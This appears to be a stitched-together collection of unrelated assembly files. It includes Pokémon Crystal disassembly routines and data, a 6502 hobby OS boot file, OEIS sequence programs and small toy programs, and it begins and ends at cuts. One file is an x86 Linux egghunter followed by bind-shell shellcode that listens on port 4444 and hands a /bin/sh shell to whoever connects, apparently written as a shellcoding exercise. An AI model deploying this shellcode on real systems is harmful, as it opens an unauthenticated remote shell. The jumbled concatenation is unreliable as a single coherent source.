db $00, PAL_OW_SILVER, SPRITEMOVEDATA_EMOTE
ShakeGrass:
push bc
ld de, .GrassObject
call CopyTempObjectData
call InitTempObject
pop bc
ret
.GrassObject
db $00, PAL_OW_TREE, SPRITEMOVEDATA_GRASS
ShakeScreen:
push bc
push af
ld de, .ScreenShakeObject
call CopyTempObjectData
pop af
ld [wTempObjectCopyRange], a
call InitTempObject
pop bc
ret
.ScreenShakeObject:
db $00, PAL_OW_SILVER, SPRITEMOVEDATA_SCREENSHAKE
DespawnEmote:
push bc
ldh a, [hMapObjectIndexBuffer]
ld c, a
call .DeleteEmote
pop bc
ret
.DeleteEmote:
ld de, wObjectStructs
ld a, NUM_OBJECT_STRUCTS
.loop
push af
ld hl, OBJECT_FLAGS1
add hl, de
bit EMOTE_OBJECT_F, [hl]
jr z, .next
ld hl, OBJECT_SPRITE
add hl, de
ld a, [hl]
and a
jr z, .next
push bc
xor a
ld bc, OBJECT_STRUCT_LENGTH
call ByteFill
pop bc
.next
ld hl, OBJECT_STRUCT_LENGTH
add hl, de
ld d, h
ld e, l
pop af
dec a
jr nz, .loop
ret
InitTempObject:
call FindFirstEmptyObjectStruct
ret nc
ld d, h
ld e, l
farcall CopyTempObjectToObjectStruct
ret
CopyTempObjectData:
; load into wTempObjectCopy:
; -1, -1, [de], [de + 1], [de + 2], [hMapObjectIndexBuffer], [NextMapX], [NextMapY], -1
; This spawns the object at the same place as whichever object is loaded into bc.
ld hl, wTempObjectCopyMapObjectIndex
ld [hl], -1
inc hl
ld [hl], -1
inc hl
ld a, [de]
inc de
ld [hli], a
ld a, [de]
inc de
ld [hli], a
ld a, [de]
ld [hli], a
ldh a, [hMapObjectIndexBuffer]
ld [hli], a
push hl
ld hl, OBJECT_NEXT_MAP_X
add hl, bc
ld d, [hl]
ld hl, OBJECT_NEXT_MAP_Y
add hl, bc
ld e, [hl]
pop hl
ld [hl], d
inc hl
ld [hl], e
inc hl
ld [hl], -1
ret
Function55e0::
ld a, [wVramState]
bit 0, a
ret z
ld bc, wObjectStructs
xor a
.loop
ldh [hMapObjectIndexBuffer], a
call DoesObjectHaveASprite
jr z, .ok
call Function565c
.ok
ld hl, OBJECT_STRUCT_LENGTH
add hl, bc
ld b, h
ld c, l
ldh a, [hMapObjectIndexBuffer]
inc a
cp NUM_OBJECT_STRUCTS
jr nz, .loop
ret
Function5602:
; called at battle start
call Function5645 ; clear sprites
ld a, PLAYER
call Function5629 ; respawn player
ld a, [wBattleScriptFlags]
bit 7, a
jr z, .ok
ldh a, [hLastTalked]
and a
jr z, .ok
call Function5629 ; respawn opponent
.ok
call _UpdateSprites
ret
Function561d:
call Function5645 ; clear sprites
ld a, PLAYER
call Function5629 ; respawn player
call _UpdateSprites
ret
Function5629:
cp NUM_OBJECTS
ret nc
call GetMapObject
ld hl, MAPOBJECT_OBJECT_STRUCT_ID
add hl, bc
ld a, [hl]
cp -1
ret z
cp NUM_OBJECT_STRUCTS
ret nc
call GetObjectStruct
call DoesObjectHaveASprite
ret z
call Function5673
ret
Function5645:
xor a
ld bc, wObjectStructs
.loop
ldh [hMapObjectIndexBuffer], a
call SetFacing_Standing
ld hl, OBJECT_STRUCT_LENGTH
add hl, bc
ld b, h
ld c, l
ldh a, [hMapObjectIndexBuffer]
inc a
cp NUM_OBJECT_STRUCTS
jr nz, .loop
ret
Function565c:
push bc
call Function56cd
pop bc
jr c, SetFacing_Standing
call Function56a3
jr c, SetFacing_Standing
call Function5688
farcall Function4440
xor a
ret
Function5673:
call Function56a3
jr c, SetFacing_Standing
farcall Function4440 ; no need to farcall
xor a
ret
SetFacing_Standing:
ld hl, OBJECT_FACING_STEP
add hl, bc
ld [hl], STANDING
scf
ret
Function5688:
push bc
ld hl, OBJECT_NEXT_MAP_X
add hl, bc
ld d, [hl]
ld hl, OBJECT_NEXT_MAP_Y
add hl, bc
ld e, [hl]
call GetCoordTile
pop bc
ld hl, OBJECT_NEXT_TILE
add hl, bc
ld [hl], a
farcall UpdateTallGrassFlags ; no need to farcall
ret
Function56a3:
ld hl, OBJECT_NEXT_MAP_X
add hl, bc
ld d, [hl]
ld hl, OBJECT_NEXT_MAP_Y
add hl, bc
ld e, [hl]
inc d
inc e
ld a, [wXCoord]
cp d
jr z, .equal_x
jr nc, .nope
add MAPOBJECT_SCREEN_WIDTH - 1
cp d
jr c, .nope
.equal_x
ld a, [wYCoord]
cp e
jr z, .equal_y
jr nc, .nope
add MAPOBJECT_SCREEN_HEIGHT - 1
cp e
jr c, .nope
.equal_y
xor a
ret
.nope
scf
ret
Function56cd:
ld a, [wPlayerBGMapOffsetX]
ld d, a
ld hl, OBJECT_SPRITE_X_OFFSET
add hl, bc
ld a, [hl]
ld hl, OBJECT_SPRITE_X
add hl, bc
add [hl]
add d
cp $f0
jr nc, .ok1
cp $a0
jp nc, .nope
.ok1
and %00000111
ld d, 2
cp 4
jr c, .ok2
ld d, 3
.ok2
ld a, [hl]
srl a
srl a
srl a
cp SCREEN_WIDTH
jr c, .ok3
sub BG_MAP_WIDTH
.ok3
ldh [hUsedSpriteIndex], a
ld a, [wPlayerBGMapOffsetY]
ld e, a
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld a, [hl]
ld hl, OBJECT_SPRITE_Y
add hl, bc
add [hl]
add e
cp $f0
jr nc, .ok4
cp $90
jr nc, .nope
.ok4
and %00000111
ld e, 2
cp 4
jr c, .ok5
ld e, 3
.ok5
ld a, [hl]
srl a
srl a
srl a
cp SCREEN_HEIGHT
jr c, .ok6
sub BG_MAP_HEIGHT
.ok6
ldh [hUsedSpriteTile], a
ld hl, OBJECT_PALETTE
add hl, bc
bit BIG_OBJECT_F, [hl]
jr z, .ok7
ld a, d
add 2
ld d, a
ld a, e
add 2
ld e, a
.ok7
ld a, d
ldh [hFFBF], a
.loop
ldh a, [hFFBF]
ld d, a
ldh a, [hUsedSpriteTile]
add e
dec a
cp SCREEN_HEIGHT
jr nc, .ok9
ld b, a
.next
ldh a, [hUsedSpriteIndex]
add d
dec a
cp SCREEN_WIDTH
jr nc, .ok8
ld c, a
push bc
call Coord2Tile
pop bc
; NPCs disappear if standing on tile $60-$7f (or $e0-$ff),
; since those IDs are for text characters and textbox frames.
ld a, [hl]
cp FIRST_REGULAR_TEXT_CHAR
jr nc, .nope
.ok8
dec d
jr nz, .next
.ok9
dec e
jr nz, .loop
and a
ret
.nope
scf
ret
HandleNPCStep::
call .ResetStepVector
call .DoStepsForAllObjects
ret
.ResetStepVector:
xor a
ld [wPlayerStepVectorX], a
ld [wPlayerStepVectorY], a
ld [wPlayerStepFlags], a
ld a, STANDING
ld [wPlayerStepDirection], a
ret
.DoStepsForAllObjects:
ld bc, wObjectStructs
xor a
.loop
ldh [hMapObjectIndexBuffer], a
call DoesObjectHaveASprite
jr z, .next
call Function437b
.next
ld hl, OBJECT_STRUCT_LENGTH
add hl, bc
ld b, h
ld c, l
ldh a, [hMapObjectIndexBuffer]
inc a
cp NUM_OBJECT_STRUCTS
jr nz, .loop
ret
RefreshPlayerSprite:
ld a, movement_step_sleep
ld [wPlayerNextMovement], a
ld [wPlayerMovement], a
xor a
ld [wPlayerTurningDirection], a
ld [wPlayerObjectStepFrame], a
call .TryResetPlayerAction
farcall CheckWarpFacingDown
call c, SpawnInFacingDown
call .SpawnInCustomFacing
ret
.TryResetPlayerAction:
ld hl, wPlayerSpriteSetupFlags
bit PLAYERSPRITESETUP_RESET_ACTION_F, [hl]
jr nz, .ok
ret
.ok
ld a, OBJECT_ACTION_00
ld [wPlayerAction], a
ret
.SpawnInCustomFacing:
ld hl, wPlayerSpriteSetupFlags
bit PLAYERSPRITESETUP_CUSTOM_FACING_F, [hl]
ret z
ld a, [wPlayerSpriteSetupFlags]
and PLAYERSPRITESETUP_FACING_MASK
add a
add a
jr ContinueSpawnFacing
SpawnInFacingDown:
ld a, 0
ContinueSpawnFacing:
ld bc, wPlayerStruct
call SetSpriteDirection
ret
_SetPlayerPalette:
ld a, d
and 1 << 7
ret z
ld bc, 0 ; debug?
ld hl, OBJECT_FACING
add hl, bc
ld a, [hl]
or d
ld [hl], a
ld a, d
swap a
and PALETTE_MASK
ld d, a
ld bc, wPlayerStruct
ld hl, OBJECT_PALETTE
add hl, bc
ld a, [hl]
and $ff ^ PALETTE_MASK
or d
ld [hl], a
ret
StartFollow::
push bc
ld a, b
call SetLeaderIfVisible
pop bc
ret c
ld a, c
call SetFollowerIfVisible
farcall QueueFollowerFirstStep
ret
SetLeaderIfVisible:
call CheckObjectVisibility
ret c
ldh a, [hObjectStructIndexBuffer]
ld [wObjectFollow_Leader], a
ret
StopFollow::
call ResetLeader
call ResetFollower
ret
ResetLeader:
ld a, -1
ld [wObjectFollow_Leader], a
ret
SetFollowerIfVisible:
push af
call ResetFollower
pop af
call CheckObjectVisibility
ret c
ld hl, OBJECT_MOVEMENTTYPE
add hl, bc
ld [hl], SPRITEMOVEDATA_FOLLOWING
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_00
ldh a, [hObjectStructIndexBuffer]
ld [wObjectFollow_Follower], a
ret
ResetFollower:
ld a, [wObjectFollow_Follower]
cp -1
ret z
call GetObjectStruct
farcall Function58e3 ; no need to bankswitch
ld a, -1
ld [wObjectFollow_Follower], a
ret
SetFlagsForMovement_1::
ld a, c
call CheckObjectVisibility
ret c
push bc
call Function587a
pop bc
ld hl, OBJECT_FLAGS2
add hl, bc
res OBJ_FLAGS2_5, [hl]
xor a
ret
Function586e:
call CheckObjectVisibility
ret c
ld hl, OBJECT_FLAGS2
add hl, bc
set OBJ_FLAGS2_5, [hl]
xor a
ret
Function587a:
ld bc, wObjectStructs
xor a
.loop
push af
call DoesObjectHaveASprite
jr z, .next
ld hl, OBJECT_FLAGS2
add hl, bc
set OBJ_FLAGS2_5, [hl]
.next
ld hl, OBJECT_STRUCT_LENGTH
add hl, bc
ld b, h
ld c, l
pop af
inc a
cp NUM_OBJECT_STRUCTS
jr nz, .loop
ret
_SetFlagsForMovement_2::
ld a, [wObjectFollow_Leader]
cp -1
ret z
push bc
call GetObjectStruct
ld hl, OBJECT_MAP_OBJECT_INDEX
add hl, bc
ld a, [hl]
pop bc
cp c
ret nz
ld a, [wObjectFollow_Follower]
cp -1
ret z
call GetObjectStruct
ld hl, OBJECT_FLAGS2
add hl, bc
res OBJ_FLAGS2_5, [hl]
ret
Function58b9::
push bc
ld bc, wObjectStructs
xor a
.loop
push af
call DoesObjectHaveASprite
jr z, .next
ld hl, OBJECT_FLAGS2
add hl, bc
res OBJ_FLAGS2_5, [hl]
.next
ld hl, OBJECT_STRUCT_LENGTH
add hl, bc
ld b, h
ld c, l
pop af
inc a
cp NUM_OBJECT_STRUCTS
jr nz, .loop
pop bc
ret
Function58d8:
call CheckObjectVisibility
ret c
ld hl, OBJECT_FLAGS2
add hl, bc
res OBJ_FLAGS2_5, [hl]
ret
Function58e3:
ld hl, OBJECT_MAP_OBJECT_INDEX
add hl, bc
ld a, [hl]
cp -1
jp z, Function5903 ; a jr would have been appropriate here
push bc
call GetMapObject
ld hl, MAPOBJECT_MOVEMENT
add hl, bc
ld a, [hl]
pop bc
ld hl, OBJECT_MOVEMENTTYPE
add hl, bc
ld [hl], a
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_00
ret
Function5903:
call GetSpriteDirection
rrca
rrca
ld e, a
ld d, 0
ld hl, .standing_movefns
add hl, de
ld a, [hl]
ld hl, OBJECT_MOVEMENTTYPE
add hl, bc
ld [hl], a
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_00
ret
.standing_movefns
db SPRITEMOVEDATA_STANDING_DOWN
db SPRITEMOVEDATA_STANDING_UP
db SPRITEMOVEDATA_STANDING_LEFT
db SPRITEMOVEDATA_STANDING_RIGHT
_UpdateSprites::
ld a, [wVramState]
bit 0, a
ret z
xor a
ldh [hUsedSpriteIndex], a
ldh a, [hOAMUpdate]
push af
ld a, 1
ldh [hOAMUpdate], a
call InitSprites
call .fill
pop af
ldh [hOAMUpdate], a
ret
.fill
ld a, [wVramState]
bit 1, a
ld b, LOW(wVirtualOAMEnd)
jr z, .ok
ld b, 28 * SPRITEOAMSTRUCT_LENGTH
.ok
ldh a, [hUsedSpriteIndex]
cp b
ret nc
ld l, a
ld h, HIGH(wVirtualOAM)
ld de, SPRITEOAMSTRUCT_LENGTH
ld a, b
ld c, SCREEN_HEIGHT_PX + 2 * TILE_WIDTH
.loop
ld [hl], c ; y
add hl, de
cp l
jr nz, .loop
ret
ApplyBGMapAnchorToObjects:
push hl
push de
push bc
ld a, [wPlayerBGMapOffsetX]
ld d, a
ld a, [wPlayerBGMapOffsetY]
ld e, a
ld bc, wObjectStructs
ld a, NUM_OBJECT_STRUCTS
.loop
push af
call DoesObjectHaveASprite
jr z, .skip
ld hl, OBJECT_SPRITE_X
add hl, bc
ld a, [hl]
add d
ld [hl], a
ld hl, OBJECT_SPRITE_Y
add hl, bc
ld a, [hl]
add e
ld [hl], a
.skip
ld hl, OBJECT_STRUCT_LENGTH
add hl, bc
ld b, h
ld c, l
pop af
dec a
jr nz, .loop
xor a
ld [wPlayerBGMapOffsetX], a
ld [wPlayerBGMapOffsetY], a
pop bc
pop de
pop hl
ret
PRIORITY_LOW EQU $10
PRIORITY_NORM EQU $20
PRIORITY_HIGH EQU $30
InitSprites:
call .DeterminePriorities
ld c, PRIORITY_HIGH
call .InitSpritesByPriority
ld c, PRIORITY_NORM
call .InitSpritesByPriority
ld c, PRIORITY_LOW
call .InitSpritesByPriority
ret
.DeterminePriorities:
xor a
ld hl, wMovementPointer
ld bc, NUM_OBJECT_STRUCTS
call ByteFill
ld d, 0
ld bc, wObjectStructs
ld hl, wMovementPointer
.loop
push hl
call DoesObjectHaveASprite
jr z, .skip
ld hl, OBJECT_FACING_STEP
add hl, bc
ld a, [hl]
cp STANDING
jr z, .skip
; Define the sprite priority.
ld e, PRIORITY_LOW
ld hl, OBJECT_FLAGS2
add hl, bc
bit LOW_PRIORITY_F, [hl]
jr nz, .add
ld e, PRIORITY_NORM
bit HIGH_PRIORITY_F, [hl]
jr z, .add
ld e, PRIORITY_HIGH
jr .add
.skip
ld hl, OBJECT_STRUCT_LENGTH
add hl, bc
ld b, h
ld c, l
pop hl
jr .next
.add
ld hl, OBJECT_STRUCT_LENGTH
add hl, bc
ld b, h
ld c, l
pop hl
ld a, d
or e
ld [hli], a
.next
inc d
ld a, d
cp NUM_OBJECT_STRUCTS
jr nz, .loop
ret
.InitSpritesByPriority:
ld hl, wMovementPointer
.next_sprite
ld a, [hli]
ld d, a
and $f0
ret z
cp c
jr nz, .next_sprite
push bc
push hl
ld a, d
and $f
call .GetObjectStructPointer
call .InitSprite
pop hl
pop bc
jr .next_sprite
.InitSprite:
ld hl, OBJECT_SPRITE_TILE
add hl, bc
ld a, [hl]
and $ff ^ (1 << 7)
ldh [hFFC1], a
xor a
bit 7, [hl]
jr nz, .skip1
or VRAM_BANK_1
.skip1
ld hl, OBJECT_FLAGS2
add hl, bc
ld e, [hl]
bit OBJ_FLAGS2_7, e
jr z, .skip2
or PRIORITY
.skip2
bit USE_OBP1_F, e
jr z, .skip3
or OBP_NUM
.skip3
ld hl, OBJECT_PALETTE
add hl, bc
ld d, a
ld a, [hl]
and PALETTE_MASK
or d
ld d, a
xor a
bit OVERHEAD_F, e
jr z, .skip4
or PRIORITY
.skip4
ldh [hFFC2], a
ld hl, OBJECT_SPRITE_X
add hl, bc
ld a, [hl]
ld hl, OBJECT_SPRITE_X_OFFSET
add hl, bc
add [hl]
add 8
ld e, a
ld a, [wPlayerBGMapOffsetX]
add e
ldh [hFFBF], a
ld hl, OBJECT_SPRITE_Y
add hl, bc
ld a, [hl]
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
add [hl]
add 12
ld e, a
ld a, [wPlayerBGMapOffsetY]
add e
ldh [hFFC0], a
ld hl, OBJECT_FACING_STEP
add hl, bc
ld a, [hl]
cp STANDING
jp z, .done
cp NUM_FACINGS
jp nc, .done
ld l, a
ld h, 0
add hl, hl
ld bc, Facings
add hl, bc
ld a, [hli]
ld h, [hl]
ld l, a
ldh a, [hUsedSpriteIndex]
ld c, a
ld b, HIGH(wVirtualOAM)
ld a, [hli]
ldh [hUsedSpriteTile], a
add c
cp LOW(wVirtualOAMEnd)
jr nc, .full
.addsprite
ldh a, [hFFC0]
add [hl]
inc hl
ld [bc], a ; y
inc c
ldh a, [hFFBF]
add [hl]
inc hl
ld [bc], a ; x
inc c
ld e, [hl]
inc hl
ldh a, [hFFC1]
bit ABSOLUTE_TILE_ID_F, e
jr z, .nope1
xor a
.nope1
add [hl]
inc hl
ld [bc], a ; tile id
inc c
ld a, e
bit RELATIVE_ATTRIBUTES_F, a
jr z, .nope2
ldh a, [hFFC2]
or e
.nope2
and OBP_NUM | X_FLIP | Y_FLIP | PRIORITY
or d
ld [bc], a ; attributes
inc c
ldh a, [hUsedSpriteTile]
dec a
ldh [hUsedSpriteTile], a
jr nz, .addsprite
ld a, c
ldh [hUsedSpriteIndex], a
.done
xor a
ret
.full
scf
ret
.GetObjectStructPointer:
ld c, a
ld b, 0
ld hl, .Addresses
add hl, bc
add hl, bc
ld c, [hl]
inc hl
ld b, [hl]
ret
.Addresses:
dw wPlayerStruct
dw wObject1Struct
dw wObject2Struct
dw wObject3Struct
dw wObject4Struct
dw wObject5Struct
dw wObject6Struct
dw wObject7Struct
dw wObject8Struct
dw wObject9Struct
dw wObject10Struct
dw wObject11Struct
dw wObject12Struct
|
; LmaOS
;
; Copyright Nate Rivard 2020
.include "pseudoinstructions.inc"
.include "system.inc"
.include "vectors.inc"
.include "zeropage.inc"
.code
Main:
LDX #$FF
TXS
;;; initializes hardware
JSR VIA1Init
JSR ACIAInit
JSR LCDInit
LDA #<LmaOSBootText
LDX #>LmaOSBootText
JSR LCDPrintString
;;; initializes the system clock @100Hz (10 msec)
@InitClock:
LDA #ClockRateHz
STA SystemClockJiffies
STZ SystemClockUptime
STZ SystemClockUptime + 1
JSR VIA1SetupSystemClock
@SetupInterruptVector:
;;; copy system interrupt handler into the interrupt vector
COPYADDR InterruptHandleSystemTimer, InterruptVector
;;; system clock is setup, turn on interrupts so they
;;; they start firing
CLI
@DisplayBootStatus:
LDA #(LCD_LINE2_START)
JSR LCDMoveCursor
LDA #<LmaOSBootDone
LDX #>LmaOSBootDone
JSR LCDPrintString
StartMonitor:
;;; on startup, we jump into the monitor
JSR MonitorStart
.include "acia.asm"
.include "via.asm"
.include "interrupt.asm"
.include "monitaur.asm"
.include "lcd1602.asm"
.segment "RODATA"
LmaOSBootText: .asciiz "Booting up..."
LmaOSBootDone: .asciiz "Done."
|
; A285958: Positions of 0 in A285957; complement of A285959.
; 1,3,4,5,7,8,9,11,12,13,14,16,17,19,20,21,23,24,25,27,28,30,31,32,33,35,36,37,39,40,41,43,44,45,46,48,49,51,52,53,54,56,57,58,60,61,62,64,65,67,68,69,71,72,73,75,76,77,78,80,81,83,84,85,87,88,89,91,92,94,95,96,97,99,100,101,103,104,105,107,108,110,111,112,114,115,116,118,119,120,121,123,124,126,127,128,129,131,132,133
mul $0,4
add $0,1
seq $0,50292 ; a(2n) = 2n - a(n), a(2n+1) = 2n + 1 - a(n) (for n >= 0).
div $0,2
add $0,1
|
; A274267: a(n) = (4*n - 1)^(n-1).
; 1,7,121,3375,130321,6436343,387420489,27512614111,2251875390625,208728361158759,21611482313284249,2472159215084012303,309629344375621415601,42141982597572021484375,6193386212891813387462761,977480813971145474830595007,164890958756244164895763202881,29606831241262271996845213307591,5637710113660432398319244384765625
mov $1,5
mul $1,$0
add $1,3
sub $1,$0
pow $1,$0
mov $0,$1
|
db $FE
dw FileStart
dw FileEnd - 1
dw Main
org $C000
CHPUT equ $00A2
FileStart:
Main:
ld hl, helloWorld
call PrintStr
call NewLn
call Finished
PrintStr:
ld a, (hl)
cp 0
ret z
inc hl
call CHPUT
jr PrintStr
NewLn:
push af
ld a, 13
call CHPUT
ld a, 10
call CHPUT
pop af
ret
Finished:
ret
helloWorld:
db "Hello world!",0
FileEnd:
|
; ===============================================================
; Jan 2014
; ===============================================================
;
; void p_list_clear(p_list_t *list)
;
; Clear list to empty.
;
; ===============================================================
SECTION code_adt_p_list
PUBLIC asm_p_list_clear
EXTERN asm_p_list_init
defc asm_p_list_clear = asm_p_list_init
; enter : hl = p_list_t *
;
; exit : de = p_list_t *
;
; uses : af, de, hl
|
LOAD A,10
STORE A,#(800)
LOAD A,1
PUSH A
POP A
STORE A,#(801)
LOAD A,#(801)
PUSH A
LOAD A,#(800)
PUSH A
POP B
POP A
CMPLE
PUSH C
POP C
JPC 49
LOAD A,#(801)
PUSH A
LOAD A,2
PUSH A
POP B
POP A
DIV
PUSH C
LOAD A,5
PUSH A
POP B
POP A
CMPGE
PUSH C
POP C
JPC 38
LOAD A,#(801)
PUSH A
POP A
PRINT A
PRINTLN
LOAD A,#(801)
PUSH A
LOAD A,1
PUSH A
POP B
POP A
PLUS
PUSH C
POP A
STORE A,#(801)
JMP 7
LOAD A,100
PUSH A
POP A
PRINT A
END
|
MOV BX,1
MOV CX,0
TOP:
MOV AX,BX
MUL BX
ADD CX,AX
CMP BX,6
JNZ TOP
HLT |
; A054091: Row sums of A054090.
; 1,2,4,10,32,130,652,3914,27400,219202,1972820,19728202,217010224,2604122690,33853594972,473950329610,7109254944152,113748079106434,1933717344809380,34806912206568842
mov $1,15
mov $2,1
lpb $0,1
sub $0,1
add $1,$2
mul $2,$0
add $1,$2
lpe
sub $1,14
|
;code using sigaction systemcall
global _start:
section .text
_start:
pgalign: ;page align
or cx, 0xfff
nxtaddress: ;next address
inc ecx
push byte 0x43 ;sigaction sys call
pop eax ;the syscall number placed in eax register
int 0x80
cmp al,0xf2 ;check for EFAULT
je pgalign ;jmp to pg_align incase of invalid address
mov eax,0x50905090 ;move the Egg to eax register
mov edi,ecx ;load pointer to edi register
scasd ;compare eax with edi register
jnz nxtaddress ;jmp to nx_address incase no matching of egg
scasd ;comparing second word of egg
jnz nxtaddress ;jmp to nxt_address incase second word doesnt match
jmp edi ;if egg matches jmp to edi where the shellcode begins
; 8 byte egg tag to search
nop
push eax
nop
push eax
nop
push eax
nop
push eax
;bind shellcode from assigment 1
;syscall for socket
;cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket
;#define __NR_socketcall 102 (0x66 in hex)
;sock_file_des = socket(AF_INET, SOCK_STREAM, 0)
;AF_INET = 2 ( bits/socket.h)
;SOCK_STREAM = 1 (bits/socket.h)
;socket(2,1,0)
xor eax, eax ; zero out eax register using XOR operation
xor ebx, ebx ; zero out ebx register using XOR operation
push eax ; move 0 to stack (protocol=0)
mov al, 0x66 ; moves socket call number to al register
mov bl, 0x1 ; moves 0x1 to bl register
push ebx ; value in ebx=1 is pushed in to the stack (sock_stream =1)
push 0x2 ; value 0x2 is pushed onto stack (AF_INET=2)
mov ecx, esp ; save the pointer to args in ecx
int 0x80 ; socket()
mov esi, eax ; store sockfd in esi register
;sock_ad.sin_addr.s_addr = INADDR_ANY;//0, bindshell will listen on any address
;sock_ad.sin_port = htons(4444);// port to bind.(4444)
;sock_ad.sin_family = AF_INET; // TCP protocol (2).
xor edx, edx ; zero out edx register using XOR operation
push edx ; push 0 on to stack (INADDR_ANY)
push word 0x5C11; htons(4444) (4444 = 0x115c)
push word 0x2 ; AF_INET = 2
mov ecx, esp ; save the pointer to args in ecx
;bind(sock_file_des, (struct sockaddr *) &sock_ad, sizeof(sock_ad));
;cat /usr/include/linux/net.h | grep bind
;bind = 2
mov al, 0x66 ; sys socket call
mov bl, 0x2 ; bind =2
push 0x10 ; size of sock_ad (sizeof(sock_ad))
push ecx ; struct pointer
push esi ; push sockfd (sock_file_des) onto stack
mov ecx, esp ; save the pointer to args in ecx
int 0x80
;listen(sock_file_des, 0);
;cat /usr/include/linux/net.h | grep listen
; listen =4
mov al, 0x66 ; sys socket call
mov bl, 0x4 ; listen=4
push edx ; push 0 onto stack (backlog=0)
push esi ; sockfd (sock_file_des )
mov ecx, esp ; save the pointer to args in ecx
int 0x80
;clientfd = accept(sock_file_des, NULL, NULL)
;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
;cat /usr/include/linux/net.h | grep accept
; accept=5
mov al, 0x66 ; sys socket call
mov bl, 0x5 ; accept =5
push edx ; null value socklen_t *addrlen
push edx ; null value sockaddr *addr
push esi ; sockfd (sock_file_des )
mov ecx, esp ; save the pointer to args in ecx
int 0x80
;int dup2(int oldfd, int newfd);
;dup2(clientfd, 0); // stdin
;dup2(clientfd, 1); // stdout
;dup2(clientfd, 2); // stderr
mov ebx, eax ;move client fd to ebx
xor ecx, ecx ; xor to clear out ecx
mov cl, 3 ; counter to loop 3 times
loopinghere:
mov al, 0x3f ; sys call for dup2
int 0x80
dec cl ; decrement till 0
jns loopinghere ; loop as long sign flag is not set
;Execute shell (here we use /bin/sh) using execve call
;execve("//bin/sh",["//bin/sh"])
mov al, 11 ; execve
push edx ; push null
push 0x68732f6e ; hs/b
push 0x69622f2f ; ib//
mov ebx,esp ; save pointer
push edx ; push null
push ebx ; push pointer
mov ecx,esp ; save pointer
int 0x80
|
db 0 ; species ID placeholder
db 250, 05, 05, 50, 35, 105
; hp atk def spd sat sdf
db NORMAL, NORMAL ; type
db 30 ; catch rate
db 255 ; base exp
db NO_ITEM, LUCKY_EGG ; items
db GENDER_F100 ; gender ratio
db 100 ; unknown 1
db 40 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/chansey/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_FAST ; growth rate
dn EGG_FAIRY, EGG_FAIRY ; egg groups
; tm/hm learnset
tmhm DYNAMICPUNCH, HEADBUTT, CURSE, ROLLOUT, TOXIC, ZAP_CANNON, ROCK_SMASH, PSYCH_UP, HIDDEN_POWER, SUNNY_DAY, SWEET_SCENT, SNORE, BLIZZARD, HYPER_BEAM, ICY_WIND, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, SOLARBEAM, IRON_TAIL, THUNDER, RETURN, PSYCHIC_M, SHADOW_BALL, MUD_SLAP, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SANDSTORM, FIRE_BLAST, DEFENSE_CURL, DREAM_EATER, REST, ATTRACT, STRENGTH, FLASH, FLAMETHROWER, THUNDERBOLT, ICE_BEAM
; end
|
; A017717: Binomial coefficients C(n,53).
; 1,54,1485,27720,395010,4582116,45057474,386206920,2944827765,20286591270,127805525001,743595781824,4027810484880,20448884000160,97862516286480,443643407165376,1913212193400684,7877932561061640,31074067324187580,117754360386395040,429803415410341896,1514545368588823824,5163222847461899400,17061084191613232800,54737645114759121900,170781452758048460328,518912875687916475612,1537519631667900668480,4447824648753569790960,12576607627510093891680,34795281102777926433648,94283987504301478078272,250441841808300801145410,652666618045874815106220,1670058699117385556301210,4199004729209426541557328,10380872802767748949961172,25250771682408037986392040,60468953239450827809517780,142644710205884004063477840,331648951228680309447585978,760365888182828026538367852,1719875223270682440979641570,3839721428697337542652223040,8464840422355494128119673520,18434541364240853879016177888,39674339023040098565708730672,84413487283064039501507937600,177620046158113916451089618700,369739687920971826081860022600,761663757117201961728631646556,1553196681180176549407405710624,3136262529306125724764953838760,6272525058612251449529907677520,12428892245768720464809261509160,24405824773509487458170913508896,47504194648438109516796956651244,91674761602248983278029214590120,175446526514648916273469703784540,333051033383740315637772997014720,627246112872710927784472477711056,1172230440450640094548030532115744,2174298397610058239887475986988880,4003470065440742155983289118900160,7318843713383856753906950420489355,13286516279681463030169540763349906,23955991473971122736214778043009679,42906253386216936243966766644196440,76347892054886018904705570058055430,134991925082552091396725790537431340,237200096930770103454246746230057926,414264958019936518708825303275030744,719209996562389789425043929296928375
add $0,53
bin $0,53
|
; A021368: Decimal expansion of 1/364.
; 0,0,2,7,4,7,2,5,2,7,4,7,2,5,2,7,4,7,2,5,2,7,4,7,2,5,2,7,4,7,2,5,2,7,4,7,2,5,2,7,4,7,2,5,2,7,4,7,2,5,2,7,4,7,2,5,2,7,4,7,2,5,2,7,4,7,2,5,2,7,4,7,2,5,2,7,4,7,2,5,2,7,4,7,2,5,2,7,4,7,2,5,2,7,4,7,2,5,2
add $0,1
mov $1,10
pow $1,$0
mul $1,5
div $1,1820
mod $1,10
mov $0,$1
|
Route28_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
Route28Sign:
jumptext Route28SignText
Route28HiddenRareCandy:
hiddenitem RARE_CANDY, EVENT_ROUTE_28_HIDDEN_RARE_CANDY
Route28SignText:
text "ROUTE 28"
done
Route28_MapEvents:
db 0, 0 ; filler
db 2 ; warp events
warp_event 7, 3, ROUTE_28_STEEL_WING_HOUSE, 1
warp_event 33, 5, VICTORY_ROAD_GATE, 7
db 0 ; coord events
db 2 ; bg events
bg_event 31, 5, BGEVENT_READ, Route28Sign
bg_event 25, 2, BGEVENT_ITEM, Route28HiddenRareCandy
db 0 ; object events
|
; A288486: Square rings obtained by adding four identical cuboids from A169938, a(n) = 4*n*(n+1)*(n*(n+1)+1).
